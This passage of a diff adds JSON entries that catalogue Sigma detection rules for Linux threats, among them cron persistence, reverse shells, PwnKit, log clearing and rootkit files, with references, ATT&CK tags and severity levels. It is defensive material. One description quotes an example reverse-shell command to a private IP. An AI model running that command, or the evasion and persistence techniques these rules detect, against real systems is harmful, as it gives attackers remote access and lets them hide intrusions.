"https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_crontab_file_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.003" + ], + "creation_date": "2022/04/16", + "filename": "lnx_crontab_file_modification.yml", + "author": "Pawel Mazur", + "level": "medium", + "falsepositive": [ + "Legitimate modification of crontab" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects the use of tools that copy files from or to remote systems", + "uuid": "7a14080d-a048-4de8-ae58-604ce58a795b", + "value": "Remote File Copy", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1105/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_file_copy.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.lateral_movement", + "attack.t1105" + ], + "creation_date": "2020/06/18", + "filename": "lnx_file_copy.yml", + "author": "\u00d6mer G\u00fcnal", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects the ld.so preload persistence file. See `man ld.so` for more information.", + "uuid": "7e3c4651-c347-40c4-b1d4-d48590fdf684", + "value": "Code Injection by ld.so Preload", + "meta": { + "refs": [ + "https://man7.org/linux/man-pages/man8/ld.so.8.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_ldso_preload_injection.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.006" + ], + "creation_date": "2021/05/05", + "filename": "lnx_ldso_preload_injection.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Rare temporary workaround for library misconfiguration" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800)", + "uuid": "7ba05b43-adad-4c02-b5e9-c8c35cdf9fa8", + "value": "Nimbuspwn Exploitation", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/", + "https://github.com/Immersive-Labs-Sec/nimbuspwn", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_nimbuspwn_privilege_escalation_exploit.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2022/05/04", + "filename": "lnx_nimbuspwn_privilege_escalation_exploit.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects potential PwnKit exploitation CVE-2021-4034 in auth logs", + "uuid": "0506a799-698b-43b4-85a1-ac4c84c720e9", + "value": "PwnKit Local Privilege Escalation", + "meta": { + "refs": [ + "https://twitter.com/wdormann/status/1486161836961579020", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_pwnkit_local_privilege_escalation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.001" + ], + "creation_date": "2022/01/26", + "filename": "lnx_pwnkit_local_privilege_escalation.yml", + "author": "Sreeman", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects shellshock expressions in log files", + "uuid": "c67e0c98-4d39-46ee-8f6b-437ebf6b950e", + "value": "Shellshock Expression", + "meta": { + "refs": [ + "https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shellshock.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2017/03/14", + "filename": "lnx_shellshock.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Clear command history in linux which is used for defense evasion.", + "uuid": "fdc88d25-96fb-4b7c-9633-c0e417fdbd4e", + "value": "Clear Command History", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md", + "https://attack.mitre.org/techniques/T1070/003/", + "https://www.hackers-arise.com/single-post/2016/06/20/Covering-your-BASH-Shell-Tracks-AntiForensics", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ], + "creation_date": "2019/03/24", + "filename": "lnx_shell_clear_cmd_history.yml", + "author": "Patrick Bareiss", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious shell commands indicating the information gathering phase as preparation for the Privilege Escalation.", + "uuid": "444ade84-c362-4260-b1f3-e45e20e1a905", + "value": "Privilege Escalation Preparation", + "meta": { + "refs": [ + "https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/", + "https://patrick-bareiss.com/detect-privilege-escalation-preparation-in-linux-with-sigma/", + "https://github.com/uber-common/metta/blob/master/MITRE/Privilege_Escalation/privesc_linux_filesystemweakness.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_priv_esc_prep.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ], + "creation_date": "2019/04/05", + "filename": "lnx_shell_priv_esc_prep.yml", + "author": "Patrick Bareiss", + "level": "medium", + "falsepositive": [ + "Troubleshooting on Linux Machines" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious shell commands used in various exploit codes (see references)", + "uuid": "2aa1440c-9ae9-4d92-84a7-a9e5f5e31695", + "value": "Suspicious Activity in Shell Commands", + "meta": { + "refs": [ + "http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html", + "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb", + "http://pastebin.com/FtygZ1cg", + "https://artkond.com/2017/03/23/pivoting-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_commands.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ], + "creation_date": "2017/08/21", + "filename": "lnx_shell_susp_commands.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious log entries in Linux log files", + "uuid": "f64b6e9a-5d9d-48a5-8289-e1dd2b3876e1", + "value": "Suspicious Log Entries", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_log_entries.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2017/03/25", + "filename": "lnx_shell_susp_log_entries.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell", + "uuid": "738d9bcf-6999-4fdb-b4ac-3033037db8ab", + "value": "Suspicious Reverse Shell Command Line", + "meta": { + "refs": [ + "https://alamot.github.io/reverse_shells/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_rev_shells.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ], + "creation_date": "2019/04/02", + "filename": "lnx_shell_susp_rev_shells.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects space after filename", + "uuid": "879c3015-c88b-4782-93d7-07adf92dbcb7", + "value": "Space After Filename", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1064", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_space_after_filename_.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2020/06/17", + "filename": "lnx_space_after_filename_.yml", + "author": "\u00d6mer G\u00fcnal", + "level": "low", + "falsepositive": [ + "Typos" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", + "uuid": "7fcc54cb-f27d-4684-84b7-436af096f858", + "value": "Sudo Privilege Escalation CVE-2019-14287", + "meta": { + "refs": [ + "https://www.openwall.com/lists/oss-security/2019/10/14/1", + "https://access.redhat.com/security/cve/cve-2019-14287", + "https://twitter.com/matthieugarin/status/1183970598210412546", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_sudo_cve_2019_14287_user.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "attack.t1548.003", + "cve.2019.14287" + ], + "creation_date": "2019/10/15", + "filename": "lnx_sudo_cve_2019_14287_user.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious command with /dev/tcp", + "uuid": "6cc5fceb-9a71-4c23-aeeb-963abe0b279c", + "value": "Suspicious Use of /dev/tcp", + "meta": { + "refs": [ + "https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/", + "https://book.hacktricks.xyz/shells/shells/linux", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_dev_tcp.yml" + ], + "tags": [ + "attack.reconnaissance" + ], + "creation_date": "2021/12/10", + "filename": "lnx_susp_dev_tcp.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious command sequence that JexBoss", + "uuid": "8ec2c8b4-557a-4121-b87c-5dfb3a602fae", + "value": "JexBoss Command Sequence", + "meta": { + "refs": [ + "https://www.us-cert.gov/ncas/analysis-reports/AR18-312A", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_jexboss.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ], + "creation_date": "2017/08/24", + "filename": "lnx_susp_jexboss.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd", + "uuid": "c67fc22a-0be5-4b4f-aad5-2b32c4b69523", + "value": "Symlink Etc Passwd", + "meta": { + "refs": [ + "https://www.qualys.com/2021/05/04/21nails/21nails.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_symlink_etc_passwd.yml" + ], + "tags": [ + "attack.t1204.001", + "attack.execution" + ], + "creation_date": "2019/04/05", + "filename": "lnx_symlink_etc_passwd.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects the creation of doas.conf file in linux host platform.", + "uuid": "00eee2a5-fdb0-4746-a21d-e43fbdea5681", + "value": "Linux Doas Conf File Creation", + "meta": { + "refs": [ + "https://research.splunk.com/endpoint/linux_doas_conf_file_creation/", + "https://www.makeuseof.com/how-to-install-and-use-doas/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_doas_conf_creation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2022/01/20", + "filename": "file_create_lnx_doas_conf_creation.yml", + "author": "Sittikorn S, Teoderick Contreras", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_create", + "logsource.product": "linux" + } + }, + { + "description": "Detects creation of cron file or files in Cron directories which could indicates potential persistence.", + "uuid": "6c4e2f43-d94d-4ead-b64d-97e53fa2bd05", + "value": "Persistence Via Cron Files", + "meta": { + "refs": [ + "https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_cron_files.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.003" + ], + "creation_date": "2021/10/15", + "filename": "file_create_lnx_persistence_cron_files.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "medium", + "falsepositive": [ + "Any legitimate cron file." + ], + "logsource.category": "file_create", + "logsource.product": "linux" + } + }, + { + "description": "Detects creation of sudoers file or files in \"sudoers.d\" directory which can be used a potential method to persiste privileges for a specific user.", + "uuid": "ddb26b76-4447-4807-871f-1b035b2bfa5d", + "value": "Persistence Via Sudoers Files", + "meta": { + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_sudoers_files.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.003" + ], + "creation_date": "2022/07/05", + "filename": "file_create_lnx_persistence_sudoers_files.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Creation of legitimate files in sudoers.d folder part of administrator work" + ], + "logsource.category": "file_create", + "logsource.product": "linux" + } + }, + { + "description": "Detects the creation of the file \"rootlog\" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.", + "uuid": "c0239255-822c-4630-b7f1-35362bcb8f44", + "value": "Triple Cross eBPF Rootkit Default LockFile", + "meta": { + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L33", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_triple_cross_rootkit_lock_file.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/07/05", + "filename": "file_create_lnx_triple_cross_rootkit_lock_file.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_create", + "logsource.product": "linux" + } + }, + { + "description": "Detects the creation of \"ebpfbackdoor\" files in both \"cron.d\" and \"sudoers.d\" directories. Which both are related to the TripleCross persistence method", + "uuid": "1a2ea919-d11d-4d1e-8535-06cda13be20f", + "value": "Triple Cross eBPF Rootkit Default Persistence", + "meta": { + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/12629558b8b0a27a5488a0b98f1ea7042e76f8ab/apps/deployer.sh", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_triple_cross_rootkit_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1053.003" + ], + "creation_date": "2022/07/05", + "filename": "file_create_lnx_triple_cross_rootkit_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_create", + "logsource.product": "linux" + } + }, + { + "description": "Detects multiple blocks by the mod_security module (Web Application Firewall)", + "uuid": "a06eea10-d932-4aa6-8ba9-186df72c8d23", + "value": "Multiple Modsecurity Blocks", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/modsecurity/modsec_mulitple_blocks.yml" + ], + "tags": [ + "attack.impact", + "attack.t1499" + ], + "creation_date": "2017/02/28", + "filename": "modsec_mulitple_blocks.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Vulnerability scanners", + "Frequent attacks if system faces Internet" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')", + "uuid": "83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871", + "value": "Linux Reverse Shell Indicator", + "meta": { + "refs": [ + "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml" + ], + "tags": "No established tags", + "creation_date": "2021/10/16", + "filename": "net_connection_lnx_back_connect_shell_dev.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "linux" + } + }, + { + "description": "Detects process connections to a Monero crypto mining pool", + "uuid": "a46c93b7-55ed-4d27-a41b-c259456c4746", + "value": "Linux Crypto Mining Pool Connections", + "meta": { + "refs": [ + "https://www.poolwatch.io/coin/monero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_crypto_mining_indicators.yml" + ], + "tags": "No established tags", + "creation_date": "2021/10/26", + "filename": "net_connection_lnx_crypto_mining_indicators.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of crypto miners" + ], + "logsource.category": "network_connection", + "logsource.product": "linux" + } + }, + { + "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", + "uuid": "19bf6fdb-7721-4f3d-867f-53467f6a5db6", + "value": "Communication To Ngrok Tunneling Service - Linux", + "meta": { + "refs": [ + "https://twitter.com/hakluke/status/1587733971814977537/photo/1", + "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_ngrok_tunnel.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.command_and_control", + "attack.t1567", + "attack.t1568.002", + "attack.t1572", + "attack.t1090", + "attack.t1102", + "attack.s0508" + ], + "creation_date": "2022/11/03", + "filename": "net_connection_lnx_ngrok_tunnel.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of ngrok" + ], + "logsource.category": "network_connection", + "logsource.product": "linux" + } + }, + { + "description": "Detects relevant ClamAV messages", + "uuid": "36aa86ca-fd9d-4456-814e-d3b1b8e1e0bb", + "value": "Relevant ClamAV Message", + "meta": { + "refs": [ + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_clamav.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.001" + ], + "creation_date": "2017/03/01", + "filename": "lnx_clamav.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects disabling security tools", + "uuid": "49f5dfc1-f92e-4d34-96fa-feba3f6acf36", + "value": "Disabling Security Tools", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_security_tools_disabling_syslog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2020/06/17", + "filename": "lnx_security_tools_disabling_syslog.yml", + "author": "\u00d6mer G\u00fcnal, Alejandro Ortuno, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects exploitation attempt using public exploit code for CVE-2018-15473", + "uuid": "4c9d903d-4939-4094-ade0-3cb748f4d7da", + "value": "SSHD Error Message CVE-2018-15473", + "meta": { + "refs": [ + "https://github.com/Rhynorater/CVE-2018-15473-Exploit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_ssh_cve_2018_15473.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1589" + ], + "creation_date": "2017/08/24", + "filename": "lnx_ssh_cve_2018_15473.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious failed logins with different user accounts from a single source system", + "uuid": "fc947f8e-ea81-4b14-9a7b-13f888f94e18", + "value": "Failed Logins with Different Accounts from Single Source System", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_failed_logons_single_source.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2017/02/16", + "filename": "lnx_susp_failed_logons_single_source.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious session with two users present", + "uuid": "1edd77db-0669-4fef-9598-165bda82826d", + "value": "Guacamole Two Users Sharing Session Anomaly", + "meta": { + "refs": [ + "https://research.checkpoint.com/2020/apache-guacamole-rce/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_guacamole.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212" + ], + "creation_date": "2020/07/03", + "filename": "lnx_susp_guacamole.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", + "uuid": "c8e35e96-19ce-4f16-aeb6-fd5588dc5365", + "value": "Suspicious Named Error", + "meta": { + "refs": [ + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/named_rules.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_named.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2018/02/20", + "filename": "lnx_susp_named.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", + "uuid": "e76b413a-83d0-4b94-8e4c-85db4a5b8bdc", + "value": "Suspicious OpenSSH Daemon Error", + "meta": { + "refs": [ + "https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c", + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_ssh.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/06/30", + "filename": "lnx_susp_ssh.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", + "uuid": "377f33a1-4b36-4ee1-acee-1dbe4b43cfbe", + "value": "Suspicious VSFTPD Error Messages", + "meta": { + "refs": [ + "https://github.com/dagwieers/vsftpd/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_vsftp.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/07/05", + "filename": "lnx_susp_vsftp.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects the use of at/atd which are utilities that are used to schedule tasks.\nThey are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code\n", + "uuid": "d2d642d7-b393-43fe-bae4-e81ed5915c4b", + "value": "Scheduled Task/Job At", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_at_command.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.002" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_lnx_at_command.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", + "uuid": "e2072cab-8c9a-459b-b63c-40ae79e27031", + "value": "Decode Base64 Encoded Text", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_decode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_lnx_base64_decode.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious process command line that uses base64 encoded input for execution with a shell", + "uuid": "ba592c6d-6888-43c3-b8c6-689b8fe47337", + "value": "Linux Base64 Encoded Pipe to Shell", + "meta": { + "refs": [ + "https://github.com/arget13/DDexec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ], + "creation_date": "2022/07/26", + "filename": "proc_creation_lnx_base64_execution.yml", + "author": "pH-T", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded", + "uuid": "fe2f9663-41cb-47e2-b954-8a228f3b9dff", + "value": "Linux Base64 Encoded Shebang In CLI", + "meta": { + "refs": [ + "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html", + "https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_base64_shebang_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects the usage of the unsafe bpftrace option", + "uuid": "f8341cb2-ee25-43fa-a975-d8a5a9714b39", + "value": "BPFtrace Unsafe Option Usage", + "meta": { + "refs": [ + "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/", + "https://bpftrace.org/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ], + "creation_date": "2022/02/11", + "filename": "proc_creation_lnx_bpftrace_unsafe_option_usage.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the unsafe option" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects the execution of a cat /etc/sudoers to list all users that have sudo rights", + "uuid": "0f79c4d2-4e1f-4683-9c36-b5469a665e06", + "value": "Cat Sudoers", + "meta": { + "refs": [ + "https://github.com/sleventyeleven/linuxprivchecker/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cat_sudoers.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1592.004" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_lnx_cat_sudoers.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of the 'chattr' utility to remove immutable file attribute.", + "uuid": "34979410-e4b5-4e5d-8cfb-389fdff05c12", + "value": "Remove Immutable File Attribute", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_chattr_immutable_removal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.002" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_chattr_immutable_removal.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Administrator interacting with immutable files (e.g. for instance backups)." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion", + "uuid": "80915f59-9b56-4616-9de0-fd0dea6c12fe", + "value": "Clear Linux Logs", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_logs.yml" + ], + "tags": [ + 